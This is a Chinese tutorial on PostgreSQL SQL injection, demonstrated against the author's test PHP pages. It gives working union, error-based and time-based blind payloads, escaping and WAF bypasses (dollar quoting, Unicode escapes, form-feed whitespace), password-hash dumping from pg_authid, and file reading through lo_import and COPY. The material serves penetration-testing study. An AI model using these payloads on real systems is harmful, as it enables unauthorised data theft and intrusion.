Postgres注入方式总结

本 文 档 测 试 环 境 为pg9.2(win32 、 linux) + win2003sp2(x86)/ubuntu 12.04(x86) + apache2.2.22(win32 wamp) + php 5.3.13(win32 wamp),测试以查询分析器为主,以测试页面作为辅助。
0x10 基本语法 
Postgres 的基本语法与 mysql 类似,如果对手工注入或 sql 语法有较多了解不会有任何困难。 
这里只列举几种语法特性与常用语句,以供参考,更多的资料参考官方文档: 
          
  1. http : //www.postgresql.org/docs/9.2/static/sql-syntax.html 
(注:所有的 sql 语句不区分大小写,无论是操作符还是字段名,Postgres 都是大小写不敏感的

0x11 多行查询与代码块 
Postgres 支持多行查询,语句间的分隔符为分号,同时也只有分号是合法的分隔符。如果多行执行的语句中有超过一个语句会返回结果集,则只保留最后一个。 
例如:执行查询语句  
          
  1. select 1 ; select 2 ;  
获取的结果为 2。 
 
Postgres 支持以 begin;开始,以 end;结束的代码块,但代码块内执行的语句不会有任何返回结果。同时如果代码块之前一条语句会返回结果,则先前语句返回的结果集会被覆盖(即不返回任何结果) 。 
例如:执行查询语句  
          
  1. select 1 ; begin ; select 2 ; end ;  
不会返回任何结果集; 
执行 
          
  1. begin ; select 1 ; end ; select 2 ;  
返回 2。 

0x12 Limit 
在 postgres 中,limit 的语法为 
          
  1. select [ field list ] from [ table ] limit count offset start ;  
其中 start 为起始位置(以 0 开始) ,count 为总数。 

0x13 Unknown 类型  
Postgres 输入的所有字符串都被认为是 Unknown 类型。也就是输入本身是未定义类型,由数据库根据操作进行匹配转换,如果匹配失败则报错。 

Unknown 类型有两种输入模式单引号转义模式美元符逃逸模式。 
单引号转义模式中允许使用前缀 E/U&/B/X 表示转义字符串/Unicode 字符串/位串,其中 E 表示进行c 语言风格的转义U 表示进行 Unicode 转义,并支持自定义转义符,B 和 X 代表后续跟随的是一个 bit 序。例如以下查询都将返回制表符(0x09) : 
        
  1. select E '\t' ;  
  2. select E '\012' ;  
  3. select E '\x09' ;  
  4. select E '\u0009' ;  
  5. select U & '\0009' ;  
  6. select U & '!0009' uescape '!' ;  
B 和 X 会将其后跟随的字符串转换为 bit 序列(即二进制数) ,例如以下查询都将返回 bit 值 01010101(如果是在 php 或查询分析器中查询,则返回字符串 01010101): 
          
  1. select B '01010101' ;  
  2. select X '55' ;  
 
注: 在 postgres 中由一个名为 standard_conforming_strings 的变量控制在没有任何前缀时是否自动进行 c 语言风格的转义。这个变量是一个 text 型的字符串,如果值为 on,则表示只有以 postgres 风格显式声明转义前缀的字符串会进行转义,如果不加前缀的话,则不会进行任何转义(除了两个单引号会被转换为单引号之外) ; 如果值为 off, 则表示没有任何前缀的字符串将自动进行 c 语言风格转义。 这个值在 9.1之前的版本为 off,而在 9.1 及之后的版本为 on。 
例如,在 standard_conforming_strings 为 on 时,以下查询会成功执行并返回反斜杠: 
          
  1. Select '\'; 
而在为 off 时,则会出现“未结束的引号字串”的错误信息。 
 
美元符逃逸模式是 postgres 专有的字符串声明格式, 其目的是为了避免由于字符串中包含大量的反斜杠或单引号而进行的转义,其构成方式由一个美元符号($) ,一个可选的零个或多个字符“记号” ,另外一个美元符号,一个组成字串常量的任意字符的序列,一个美元符号,以及一个和开始这个美元符包围的记号相同的记号,和一个美元符号组成。例如以下查询均返回单引号: 
          
  1. Select $$ ' $$ ;  
  2. Select $tag$ '$tag$; 
在美元符逃逸模式中没有任何字符串需要转义,也没有任何字符串会被转义,转义字符与前缀均不可用。唯一要注意的是被转义字符中不能出现与包围这些字符串的记号相同的字符串,例如上例中第二个语句中的字符绝不能出现$tag$,否则会在出现$tag$的地方截断,同时将之后的字符串作为查询的别名。如果查询的别名也由$....$开始,同时没有匹配的结束标记,则会返回一个错误。例如以下查询返回单引号,同时将指定别名 test$tag$: 
        
  1. select $tag$ '$tag$test$tag$; 
而以下语句会返回“未结束的$符号引用的字符串”的错误信息: 
        
  1. Select $tag$ '$tag$$test$tag$; 
另:以 U&为前缀、双引号包含的字符串会作为表名、字段名与函数名等关键字使用。例如: 
        
  1. Select U & "\0061" from test ;                     --等同于 select a from test 
  2. select a from U & "!0074est" uescape '!' ;         --等同于 select a from test 
  3. select U & "!0063hr" uescape '!' ( 97 );           --返回 a ,等同于 select chr ( 97 )  
更多的信息参考: 
        
  1. http : //www.postgresql.org/docs/9.2/static/sql-syntax-lexical.html 

0x14 数据类型转换 
Postgres 支持两种数据类型转换方式:使用 cast 语句::运算符。 
cast 语句的语法为: 
        
  1. cast ([ field / value ] as type )  
例如: 
        
  1. select cast ( '1' as int );  
返回数字 1 
 
::运算符用于值或字段之后,效果同 cast,但在语法上简便许多,在需要进行多次转换进行报错的时候无疑是很方便的。 
例如: 
          
  1. select '1' :: text :: int ;  
返回数字 1 
 
注:在 Postgres 中,转换会先判断类型,某些类型之间是不能互相转换的(例如 bytea 和 int) ,但乎所有的类型都可以转换为 text。这样通过转为 text 再转为 int 的双次类型转换报错在注入中相当有,具体参见 0x32 无输出显错型注入点。

0x20 Schema 与目录对象 
关系型数据库一般都有着存放库、表、字段之间对应关系的表(或视图) ,postgres 也不例外。 所不同的是 postgres 多出一个 Schema 对象,这也是 postgres 与其他数据库最大的几个不同点之一。  

0x21 什么是 Schema 
Schema 是 Postgres 中的一个特殊对象,Schema 可以看作一个数据库中单独分割出的独立的数据库系。利用 Schema 可以进行权限划分或水平的功能分割操作。 
由于 Postgres 认为数据库是一个独立的个体,所以跨库操作是不允许的。但 Schema 属于数据库本身的一部分,所以跨 Schema 读取数据是完全可行的(前提是需要拥有读取的权限) 。 
跨 Schema 读取数据有两种方式,第一种是类似于 mysql 跨库查询的语句,例如执行查询: 
          
  1. Select * from Manager . admin ;  
将返回 Manager Schema 中表 admin 的内容。 
 
或者修改查询路径
          
  1. set search_path to [ Schema Name ];  
例如执行: 
        
  1. set search_path to manager ;  
  2. select * from admin ;  
也将返回 Manager Schema 中表 admin 的内容。 
 
注意:这条语句在注入中不会起到任何作用。 
另:默认使用的 Schema 名称为 public,这是 postgres 建立一个数据库时自动生成的 Schema。 
 
Postgres 中有一种名为目录的特殊的 Schema,它由系统在建立数据库时生成。目录所包含的对象叫目录对象,可以理解为 Schema 中的表;目录对象中包含字段。 
默认情况下会生成两个目录:pg_cataloginformation_schema。Pg_catalog 中存放当前数据库的对象,例如系统函数、默认视图、大对象等。information_schema 存放的则是当前数据库的架构信息,具体参见 0x23 通过 information_schema 获取数据库架构信息。 
 
0x81 测试数据库与测试站点即为一个 Schema 使用的例子, 网站将前台数据保存至默认 Schema 中,同时将所有的后台信息保存至 Manager Schema 中,这样可以省去很多不必要的表前缀,方便数据库管理。  
注意:Schema 是 Postgres 中极为重要的特性,在注入获取数据时一定不能忽视 Schema。 

0x22 通过 pg_catalog 获取数据库关键信息 
所有的数据库名称存放于 pg_database 目录对象的 datname 字段中,这个目录对象与字段任何用户均可读取。 
例如:以下语句会返回所有的数据库名称。 
        
  1. Select datname from pg_database ;  
注意:名称以 template 开头的数据库为 postgres 自动生成的临时数据库,不需要理会。 
 
数据库的配置信息储存于 pg_settings 目录对象中,其中 name 字段为设置选项的名称setting 字段为选项的值。 这些配置信息中最为重要的便是几个目录信息:数据库文件目录(data_directory)数据库认证配
置文件路径(hba_file),不过只有在 super 权限下才能进行读取。 
例如,使用以下语句会返回以上两个目录信息(需要 super 权限) 
        
  1. select name , setting from pg_settings where name in ( 'hba_file' , 'data_directory' );  
 
数据库的用户信息存放于 pg_authid 目录对象中,只有在 super 权限下才能进行读取(super 可以看作是 mssql 中的 sysadmin,是 postgres 中最高的权限组;无论何时,postgres 用户总拥有最高的权限)。这个目录对象记录了所有的用户信息,最为重要的是用户名及加密后的密码。其中用户名储存于rolname 字段,密码储存于 rolpassword 字段。 
使用以下语句可以查询出数据库所有的用户与加密后的密码: 
        
  1. select rolname , rolpassword from pg_authid ;  
注:postgres 密码加密方式为 'md5'+md5(密码+用户名) 
 
pg_user 是一个视图,其中映射了 pg_shadow 视图(这个视图映射了 pg_authid 的部分字段)的内容---除了密码被替换为一串星号,其余的数据完全相同。 事实上只需要关心这个视图内的一个字段:usesuper,这个字段为一个布尔值,表明是否为 super用户。例如,使用以下语句即可判断当前用户是否具有 super 权限: 
        
  1. select usesuper from pg_user where usename = current_user ;  

0x23 通过 information_schema 获取数据库架构信息 
和mysql类似, postgres中也有储存数据库表段与字段的information_schema对象, 所不同的是mysql中的 information_schema 是独立的数据库,而在 postgres 中为在数据库中共享的目录对象。 
information_schema 目录存放了当前数据库全部的架构信息,例如全部的表名,表中全部的字段,字 段之间的关系等等。 在注入利用中, 最需要关心的只有三点: 所有的 Schema、 所有的表与其所属的 Schema 所有的字段与其所属的表。 
所有的 Schema 信息存放于 schemata 目录对象中,schema_name 字段存放的就是 Schema 的名称(可以看到 information_schema 也在其中) 。不过很遗憾,非 super 权限不能从这个目录对象中读取到任何内容。  
 所有的表名存放于 tables 目录对象中 所有的字段名存放于 columns 目录对象中, 这两个表在非 super用户下也可以进行读取操作。 

这两个表均包含 table_schema 字段,用以表示所属的 Schema。这样利用以下语句即可获取完整的Schema 信息: 
          
  1. select 
  2. table_schema 
  3. from 
  4. information_schema . tables 
  5. where  
  6. table_schema 
  7. not 
  8. in 
  9. ( 'pg_catalog' , 'information_schema' ) group by 1 ;  
注意:这里排除了 pg_catalog 与 information_schema 两个目录的信息并将其分组,从而只剩下不重复的用户表名。 
 
所有表信息则存放于 tables 目录对象的 table_name 字段中, 使用以下语句即可查询出所有的用户表:  
        
  1. select 
  2. table_name 
  3. from 
  4. information_schema . tables 
  5. where  
  6. table_schema 
  7. not 
  8. in 
  9. ( 'pg_catalog' , 'information_schema' ) group by 1 ;  
 
所有字段信息则存放于 columns 目录对象的 column_name 字段中, 同时由 table_name 字段记录对应的表名。使用以下语句即可查询出所属于 Manager.admin 的所有字段。 
        
  1. select column_name from information_schema . columns where table_schema = 'manager' and 
  2. table_name = 'admin' ;  
 
0x30 通过注入点获取数据 
在注入点进行操作的大多时候离不开错误信息,在可以获取错误信息同时需要手工注入的情况下,不建议使用火狐进行注入测试。原因是如果是语法错误,Postgres 返回的错误信息类似于: 

注意 2 下面的^符号,代表第二个字段类型不匹配。 

而在火狐中,会显示为: 
 
^符号的位置不在 2 的下方,这样的话在定位类型不匹配的字段时会更加繁琐。 
 
注意:本章只结合测试程序对常见的几种注入点进行简单讲解(这里假设读者对手工注入与 sql 查询有一定的基础) ,具体的注入语句请根据所需功能结合其他章节与 0x70 附录 A:常用函数中所列举的函数自行构造。 

0x31 Union-Select 型注入点 
Union-Select 型注入点的特点是数据库通过执行 Union Select 语句返回的结果集中有一行或多行会被 web 应用程序处理并返回结果,也是最常见最常用的注入方式。Union-Select 型注入根据显示方式可以分为 Union-Select,Union-List,Union-Download 四种,其中由于前两种极为常见这里一笔带过,重点对Union-Download 两种较为少见的注入点体现进行讲解。 
 
Postgres 在进行 union select 操作时对数据类型是敏感的,如果类型不匹配的话,则会返回“Union类型的类型 XXX 与 XXXX 不匹配”的错误。由于 Unknown 类型可以转换为绝大多数类型,所以可以使'1','2','3'……代替 1,2,3,从而实现自动匹配。 
注意:在任何时候都不建议用 null 进行匹配,因为有时可能会因此导致缺少一个甚至多个重要的输出位置,用单引号或美元符引起的字符串作为替代是最好不过的做法了。 
由于 Union 会根据构造的语句在页面“正常”地显示一些信息,所以在注入时无疑是极为方便的。 
 
测试站点提供的 Content.php 模拟了 Union-Select 型注入,访问: 
        
  1. Content . php ? id = 1 and 1 = 2 union select 1 , '2' , '3' , '4' --  
即可发现正常的页面中出现了 3、4 两处显示位置,将 3、4 替换为其余语句即可进行进一步的注入。 
此时访问: 
          
  1. Content . php ? id = 1 and 1 = 2 union select 1 , '2' , count (*):: text , '4' from ( select table_schema  from information_schema . tables where table_schema not in ( 'pg_catalog' , 'information_schema' )   group by 1 ) x --
即可获取 Schema 总数。 
访问: 
        
  1. Content . php ? id = 1 and 1 = 2 union select 1 , '' , table_schema , '' from information_schema . tables where table_schema not in ( 'pg_catalog' , 'information_schema' ) group by 3 limit 1 offset 0 --  
即可获取第一个 Schema 名称,逐渐修改 offset 的值即可获取所有的 Schema 名称。 
 
Image.php 则模拟了一种特殊的 Union-Select 型注入,这里暂时称之为 Union-Image 型注入。这种注入的主要不同点在于数据库中储存的字段不是常见的数值或字符串,而是 bytea 型数据(类似于 MSSQL 中image 类型) 。bytea 可以看作是字节数组(byte-array) ,由于 postgres 允许将 varchar/text 类型转换为bytea,同时也可以自动从 Unknown 类型进行转换(执行这两种转换时,会将字符串代表的内容转换为对应的以数据库默认字符编码转换后的值,默认为 UTF8) ,所以实际在注入时并没有太明显的区别。 

要注意的事项有两点: 
        
  1. 1. 由于服务器脚本在处理返回字段时会将此字段表达的字节直接输出到 Response 流中 (只有这样用户 才能从浏览器中看到完整的图片) ,所以某些需要判断关键字的注入工具在这里是不起作用的,只能通过手 工进行注入。  
  2. 2. 由于服务器可能会返回 image / jpeg 头, 在浏览器中测试可能导致即使注入成功也只会返回一个错误 图片的红叉,所以建议一旦确定是 Union - Image 型注入,建议转为使用 Burp 等工具进行操作。  
例如,访问: 
        
  1. Image . php ? id = 1 and 1 = 2 union select 1 , '2' , '%e6%96%b0' --  
则会返回字符“新” (%e6%96%b0 为 URL 编码后经过 UTF8 编码后的“新” ,仔细体会其中的编码过程) 
访问: 
        
  1. image . php ? id = 1  union select 1 , '' , table_schema :: text :: bytea from information_schema . tables where table_schema not in ( 'pg_catalog' , 'information_schema' ) group by 3 --  
即可列出第一个 Schema 名称,逐渐修改 offset 的值即可获取所有的 Schema 名称。 
 
List.php 模拟了 Union-List 型注入。顾名思义,Union-List 型注入点所在脚本文件会遍历查询返回的结果集中每一行,并在将其处理后输出到页面。 
访问: 
        
  1. List . php ? type = article ' union select 1111,' 2222 ',' 3333 ',' 4444 '-- 
会发现列表中多出了一条名为 3333 的项,同时其链接指向 1111,可以确认 1、3 为两个显示位。 

此时访问: 
        
  1. List . php ? type = article ' and 1=2 union select 1,'',table_schema,'' from information_schema.tables where table_schema not in (' pg_catalog ',' information_schema ') group by 3-- 
即可列出所有的 Schema。 
 
最后一种暂时称之为 Union-Download 型注入点,也就是服务器将上传的文件保存在某个目录下(例如为了安全起见,统一保存在网站目录上一级中的 uploads 目录中,即/../uploads,以防止上传攻击) ,同时在数据库中保存文件的路径。用户下载文件时服务器脚本根据传递的 id 获取文件路径,读取文件并直接输出到 Response 流。 
这种 Union-Download 型注入点并不是非常常见,但一旦发现,则必然是一个危害性不亚于注入的任文件下载漏洞。在非文件服务器与 web 服务器分离的情况下可能通过此注入点下载网站所有脚本并进一步攻击,危害可谓极大(在 linux 权限划分极为严格的情况下,postgres 用户是不可能访问网站目录的。而此漏洞却突破了这个限制) 。 
 
Download.php 模拟了此种注入的情形,访问: 
        
  1. Download . php ? id = 1 and 1 = 2 union select '1' , '/download.php' , '3' --  
即可下载 download.php 文件的内容。 
 
0x32 无输出显错型注入点 
其余所有的不能通过闭合语句使用 Union 联合查询获取返回结果的注入点这里均称为无输出型注入点。由于不能“正常”的获取返回信息,所以要借助强制类型转换所导致的报错来获取信息,这就需要一个前提:服务器脚本可以返回一些数据库错误信息(这其实是很常见的) 。 
在这种注入点进行注入时需要根据爆出的错误信息闭合查询语句,之后利用可以多行执行的特性在语句后加入其他语句进行查询并将结果进行强制类型转换,最后根据错误提示获取所需信息。 
 
测试程序中 Update.php 模拟了这种注入(请不要在 URL 进行注入,那不是本节要讨论的内容) ,在输入新名称的文本框输入单引号会返回以下错误信息: 
 
可以看到输入内容被带入到 Update 语句中,由于 Update 不会返回结果集,所以只能使用报错的方式注入。 
输入: 
          
  1. 111 ' where id=1;select (' ! '||count(*)::text)::int from( select table_schema from information_schema.tables where table_schema not in (' pg_catalog ',' information_schema ') group by 1)x-- 
并提交,返回以下错误信息: 
 
由此可知 Schema 的总数为 2。 注意语句中的'!'||count(*)::text, 这里表示将总数转换为 text 并在前面添加一个叹号 (与oracle类似, postgres的字符串连接运算符为||) ,添加叹号目的是防止由于count(*)转换为 text 值之后仍旧代表有效数字的字符串时转换成功而不会返回错误信息。 建议在使用任何报错语句时均为结果加上一个非数字前缀(例如这里的叹号),以防在某些时候获取失败。 
 
输入: 
        
  1. 111 ' where id=1;select (' ! '||table_schema::text)::int from( select table_schema from information_schema.tables where table_schema not in (' pg_catalog ',' information_schema ') group by 1)x limit 1 offset 0-- 
并提交,返回以下错误信息: 
 
由错误信息可知第一个 Schema 名称为 manager,逐渐修改 offset 的值即可获取所有的 Schema 名称。 
 
当然,这种方法也适用于 Union 型注入点,在够构造出精巧的报错语句后使用现成的报错语句无疑是很方便的(参见 0x40 构建更加精巧的注入语句) 。 
 
注意:如果导致出错的强制类型转换在 select 之后,同时语句包含 limit,则 limit 无效,总是返回原语句去掉 limit 后查询所得结果的第一行相应字段进行强制类型的转换出错信息。 
例如:表 test 包含 varchar 类型字段 a,b,a 字段的值为 a1,a2……b 字段的值为 b1,b2…… 
执行 
        
  1. select a , b from test limit 1 offset 1 ;  
返回:a2 b2 
执行 
        
  1. select a :: int from test limit 1 offset 1 ;  
返回:无效的 integer 输入格式“a1” 
解决方法是使用嵌套查询: 
        
  1. select b :: int from ( select '!' || a as b from test limit 1 offset 1 ) x ;  
返回:无效的 integer 输入格式“a2” 
 
每次进行查询都相当于进行一次事务操作,如果出错的话,则会执行回滚(rollback)操作。 例如在大对象导入时(具体参见 0x53 使用 Large Object 实现文件操作) ,如果想获取返回的 oid,使用以下语句虽然会得出错误信息,但大对象并不会成功导入: 
        
  1. Select ( '!' ||( lo_import ( '/etc/passwd' ):: text )):: int ;  
原因就是在执行查询前创建了一个事务,并将此次查询放在这个事务中。当查询出错时会进行回滚操作,导致 lo_import 的操作被无效化。 在这种情况下,只能进行分开的两次注入,并借助临时表保存结果,例如第一次注入时执行查询: 
        
  1. Create table tempAXU78 ( oid id ); Insert into tempAXU78 Values ( lo_import ( '/etc/passwd' ));--  
第二次即可执行以下语句获取结果: 
        
  1. Select ( '!' ||( id :: text )):: int from tempAXU78 ;  
最后不要忘记删除临时表: 
        
  1. Drop table tempAXU78 ;  
 
0x33 无输出无显错型注入点 
当服务器脚本屏蔽了错误回显,同时不能使用 union 的情况下,可以采用盲注的手法获取数据。 盲注的手法基本可以分为以下两种: 
 
1.常规盲注,通过判断页面正确与否获取信息。 
这种盲注手法需要用到两个函数:substr 和 ascii。substr 用于从指定位置截取指定长度的字符串,ascii 用于将字符转换为 ascii 码,具体参见 0x70 附录 A:常用函数。 
 
获取到 ascii 码之后,将其与数字进行比较即可获取字符串的值,例如以下条件语句会在当前的Schema 名称的首字母为小写时返回 true: 
        
  1. ascii ( substr ( current_schema (), 1 , 1 )) between 97 and 112  
通过构造不同语句,逐个获取字符并比较,即可取得任何的信息。 
 
2.基于时间的盲注,通过判断延时语句是否执行来获知条件是否为真或语句是否执行。 
在 postgres 中,延时的语句为 pg_sleep(int) 其中 int 表示要等待的秒数。 
 
延时语句一般与多行执行共同作用,由于 postgres 多行执行会覆盖前前一行执行时返回的结果集,导致 web 应用程序会因为不能从结果集中获取结果而出错。所以为了判断前一条语句是否执行,加入延时语句是很方便的做法。 
例如:以下语句会创建一个 testADY7FD 表,同时如果表创建成功,则会延时 2 秒: 
          
  1. (闭合前方查询); Create table testADY7FD ; select pg_sleep ( 2 ) where ( select table_name from 
  2. information_schema . tables where table_schema = current_schema () and table_name = 'testADY7FD' ) is 
  3. not null --  
 create table 语句可以换成其他任意合法的 sql 语句,同时后面的条件语句也要做出相应修改。 
 
另:如果需要多行执行的语句本身就是一个 select 语句,则去掉 create table 部分,并将select 语句替换为所需要的语句。 
也可以直接利用多行执行导入 UDF, 之后反弹回一个 Shell (参见 0x60 利用 UDF 函数获取反弹 Shell)。用 UDF 反弹 Shell 结合延时是很方便的做法。 

0x40 构建更加精巧的注入语句 
由于 postgres 支持多行执行,导致注入语句有着极大的灵活性。而为了充分利用 postgres 特色注入仅仅按照常规的注入->后台->shell/注入->脱裤/注入->导出文件->shell是完全不够的 (第一种需要后台;第二种大多时候效率较低;第三种在 linux 下成功率不高,同时站库分离情况下基本无用) 。 
所以为了深入挖掘 postgres 注入的潜力,本章将分析 postgres 查询语句中的一些特性。可以将这些特性结合到注入点中,以做到对注入点最大化、最充分的利用。 

0x41 利用函数聚合字段/结果集 
在查询多个字段时,可以使用 Concat_ws 或 concat 函数多个字段的结果聚合到一起。这两个函数在使用上与 mysql 与之同名的两个函数相同。 
例如,以下两条语句均会将表名与其对应的 Schema 输出出来,并以冒号作为分隔符: 
          
  1. select 
  2. concat ( table_schema , ':' , table_name )  
  3. from 
  4. information_schema . tables 
  5. where  
  6. table_schema not in ( 'pg_catalog' , 'information_schema' );  
  7. select concat_ws ( ':' , table_schema , table_name ) from information_schema . tables where  
  8. table_schema not in ( 'pg_catalog' , 'information_schema' );  
当需要将某一行中几个字段聚合到一起时,可以使用 row 函数。例如,以下语句会将所有的 Schema、表名与字段名合并为一行并输出: 
          
  1. select row ( table_schema , table_name , column_name ) from information_schema . columns where   table_schema not in ( 'pg_catalog' , 'information_schema' );  
在需要将某个字段的值聚合到一行时,可以使用 array_agg 函数。例如,以下语句会在一行输出所有
的 Schema: 
        
  1. select array_agg ( a ) from ( select table_schema :: text as a from information_schema . columns where table_schema not in ( 'pg_catalog' , 'information_schema' ) group by 1 ) b ;  
当需要把某个查询的结果集作为一行输出时,可以使用 array 函数。array 并不是类似于 sum 等在查询中使用的聚合函数,而是用于聚合一个查询的结果集。 
例如,以下语句会将所有的表名与其对应的 Schema 聚合到一行并输出: 
        
  1. select array ( select concat_ws ( ':' , table_schema , table_name ) from information_schema . tables  where table_schema not in ( 'pg_catalog' , 'information_schema' )):: text ;  
注意:如果要使用 array 聚合的结果集中有非 text 字段,建议将其转换为 text。Array 函数返回的是一个数组,所以最好将其转换为 text 并输出。 
 
结合以上的这些内容,可以做到只执行一条语句就能获取所有的表、字段、Schema 与其对应关系: 
          
  1. with  as  ( select  table_name  tname , array_agg ( column_name :: text ) cname ,   array_agg ( table_schema :: text ) sname from information_schema . columns where table_schema not in  ( 'pg_catalog' , 'information_schema' ) group by 1 ), b as ( select unnest ( sname ) sname , tname ,   unnest ( cname ) cname from a order by 1 ) select array ( select row ( sname , tname , cname ):: text from  b ):: text :: int ;  
with 语句会将一个或多个查询的结果集保存,并指定别名以供之后的语句调用,unnest 是 array 的反函数,会将一个数组拆分为多个行,最后执行强制类型转换报错。这条语句最终会返回以下错误信息: 
          
  1.  integer : "{" ( manager , admin , name ) ", " ( manager , files , managerfile ) ",   "(manager,admin,id)" , "(manager,admin,password)" , "(public,images,name)" ……(省略部分)  
而如果是一个 Union-List 型注入,则将最后的查询语句修改为: 
        
  1. Select * from b ;  
即可列出所有表、字段、Schema。 
 
可以看出: 利用好这些聚合函数并构造语句, 可以免除使用 limit 递增这种相对较慢的注入方式, 即:将普通的 union 型注入点转换为 union-list 型注入点。或者可以更加直观的利用 union-list 型注入,用处非常大。 

0x42 利用多行执行进行复杂查询 
当可以通过某些方法闭合服务器脚本中的查询语句时,就可以使用多行查询进行更多的操作。由于多行查询可以执行任何合法的 sql 查询语句,这里不做具体的讲解。 
一个典型就是在 super 权限下通过注入点反弹 Shell,具体参见 0x60 利用 UDF 函数获取反弹 Shell,这里不多做赘述。 
另外,通过闭合服务器脚本中的查询语句并在后面多行执行的语句处执行较为简单的查询语句并报错在一定程度上可以减少构造语句的难度(例如注入点为嵌套在子查询中的 Limit 型注入,即使在出错页面返回了全部的服务器脚本中查询语句,构造难度也相当大。而在多行查询中只要简单的闭合前面的语句,并在最后加入报错查询语句即可,减少了一部分操作) 。 

0x43 利用多行执行忽略数据类型敏感限制 
由于在 postgres 中,多行执行总是只能获取最后一行的结果,利用这点可以通过多行执行绕过数据类型敏感的限制。 
例如,访问测试站点中: 
        
  1. Content . php ? id = 2 ; select 1 , 2 , 3 , 4 --  
会在页面返回 3,4 
而访问: 
        
  1. Content . php ? id = 2   union select 1 , 2 , 3 , 4 --  
则会返回类型不兼容的错误。 
 
注意:利用这个方式的前提是服务器脚本在处理结果集中每一行时使用数字索引而不是字符串索引(因为后面多行查询部分没有指定别名,这样 postgres 会将字段名/函数名作为字符串索引并返回) ,如果使用的是字符串索引,将会出错。 
这个方法其实并没有太大的意义,只是作为 postgres 的特性的利用再此顺便说明而已。 

0x44 利用美元符绕过 GPC与 pg_escape_string 
在大多时候,postgres 会与 php 在一起使用,这就涉及到转义的问题。由于 Postgres 数据库默认字符编码为 UTF8,所以想要宽字节注入基本是不可能的。 
不过 postgres 不单单有单引号可以表示字符串,使用美元符同样可以。除了需要显示使用转义字符串的情况下,美元符在任何地方都可以代替单引号(包括查询语句、函数参数,等等。同时在美元符包含模式下使用::运算符进行强制类型转化也是合法的) 。 
而 GPC 不会对美元符进行转义,这也就给注入带来了可乘之机: 
访问测试站点中的: 
        
  1. Content3 . php ? id = 2 union select 1 , $$2$$ , $$3$$ , $$4$$ --  
可以发现页面中出现了 3、4,已经绕过了 GPC(GPC 与 addslashes 作用相同) 。 
 
pg_escape_string 是 php 官方推荐的用于在使用 postgres 作为数据库的 web 脚本中代替 addslashes的函数,这个函数会将单引号转变为两个单引号,而同样的,$$并不会被转义。 
访问测试站点中的: 
        
  1. Content4 . php ? id = 2 union select 1 , $$2$$ , $$3$$ , $$4$$ --  
可以发现页面中出现了 3、4,显然 pg_escape_string 没有起到任何作用。 
 
关于 GPC 与 pg_escape_string 的说明,参考: 
        
  1. http : //www.php.net/manual/zh/function.addslashes.php 
  2. http : //www.php.net/manual/zh/function.pg-escape-string.php 
 
0x45 利用特性绕过 WAF 
由于 postgres 会将双引号中的内容认为是一个表名/字段名,同时在双引号引起的字符串中使用 U&前缀转义是合法的,所以当过滤了 information_schema 等关键名称时,可以将其用双引号引用并在其前面加入 U&转义前缀,同时将其中某个字符替换为对应的 Unicode 表现形式来绕过 WAF。 
例如:以下语句同样会返回所有的 Schema 
        
  1. select U & "tabl\0065_sch\0065ma" from U & "inform\0061tion_sch\0065ma" . U & "t\0061bles" where   U & "tabl\0065_sch\0065ma" not in ( U & 'pg_cat\0061log' , U & 'inform\0061tion_sch\0065ma' ) group by 1 ;  
注意:类似于 information_schema.tables 这种由点连接的多个部分组成的对象名称,需要将每个部分分别进行转义,并用点进行连接。 
 
在过滤了 select[空格],from[空格]等情况下,可使用几个字符中任意一个代替空格: 
          
  1. 制表符( \t , 0x09  
  2. 换行符( \n 0x0a  
  3. 分页符( 0x0c  
  4. 回车符( \r 0x0d  
例如访问测试站点中的: 
        
  1. Content4 . php ? id = 2 % 09union % 09select % 091 , $$2$$ , $$3$$ , $$4$$ --  
同样会在页面中输出 3 和 4 
 
注意:要特别记住其中的分页符(0x0c) ,防火墙可能会拦截回车换行或制表符,但一般情况下不会拦截分页符。 
 
由于点或减号在后面跟随数字会被 postgres 认为是一个浮点数/负数,所以使用以下语句绕过过滤select[空格]/[空格]from/where[空格]也是可行的: 
        
  1. Select - 1from information_schema . tables where - 1 < 0 ;  
  2. Select . 1from information_schema . tables where . 1 < 0 ;  
 
Join 语句会将多个查询的结果集横向合并,所以利用 join 语句可以绕过过滤逗号的情况,例如访问测试站点中的: 
        
  1. Content . php ? id = 2 union select * from (((( select 1 ) a join ( select '2' :: varchar ) b on 1 = 1 ) join  ( select array ( select table_schema :: text from information_schema . tables group by 1 ):: text x ) c on  1 = 1 ) join ( select '4' :: varchar ) d on 1 = 1 )--  
同样会返回所有的 Schema 名称。 
注意:join 语句中必须将 unknown 类型显式转换为所需类型,否则会出现类似于: 
        
  1. failed to find conversion function from unknown to character varying 
的错误。其中的 character varying 即为所需类型,进行转换即可。 
 
0x46 多次带入执行时的处理方法 
有时服务器脚本会将提交的参数与某几个语句进行拼接并执行,这就导致了有时某一条语句可能会执行多次,在某些时候需要避免这种情况(例如导入一个大对象) ,可以采用以下方法进行避免: 
        
  1. (闭合前方查询); create table testSDX78KO ();(其余注入语句)  
这里会新建一个临时表 testSDX78KO,当执行第一次时由于表并不存在,所以会成功执行,在第二次执行时由于表已经存在,则会抛出错误,导致不能继续执行,也就避免了因为多行执行造成的错误结果。 最后不要忘记删除临时表。 

0x50 文件操作:Copy、AdminPack 与 Large Object 

0x51 缺陷严重的 Copy 
网上能够找到的资料中 postgres 注入读写文件大多都是使用 copy 操作符。copy 可以从将文件导入数据库,或是从数据库导出文件: 
 
例如以下语句实现将 c:/windows/temp/files.txt 导入 test_for_copy 表: 
        
  1. create table test_for_copy ( data text );  
  2. copy test_for_copy ( data ) from 'c:/windows/temp/files.txt' ;  
之后使用 select 语句便可进行查询。 

看起来似乎很美好,但 copy from 有三点缺陷: 
1.分隔符。默认情况下 postgres 认为制表符(\t,0x09)为两个字段的分隔符,同时以换行符作为每一行的分隔符。如果要导入的文件中含有制表符,那么制表符至下一个换行符之间的内容都被认为是另一个字段,如果目标表只有一个字段,则会出错。 
这其实不是什么太大的问题,copy 提供 delimiter 选项用以指定分隔符,例如以下语句将分隔符指定为 0x7f(这个符号在绝大多数文本文件内不可能出现) : 
        
  1. copy  test_for_copy ( data ) from 'c:/windows/temp/files.txt' with delimiter E '\x7f' ;  
2.遇到\.时会终止并报错。如果一个文件中包含 \. ,那么使用 copy from 语句导入时会返回“copy命令结束标记损坏”的错误(原因是\.是 copy from stdin 模式下的结束标识,具体参考本节最后的官方文档) 。 
一个典型就是 apache 的配置文件。大大多数情况下 apache 配置文件中都有以下语句: 
        
  1. < FilesMatch "^\.ht" >  
由于出现了\.,所以语句将出错,导致无法导入。而在找不到网站路径时读取配置文件是相当重要且行之有效的方法,出现这种情况非常令人恼火。 

3.导入文件编码必须与服务器编码相对应。 
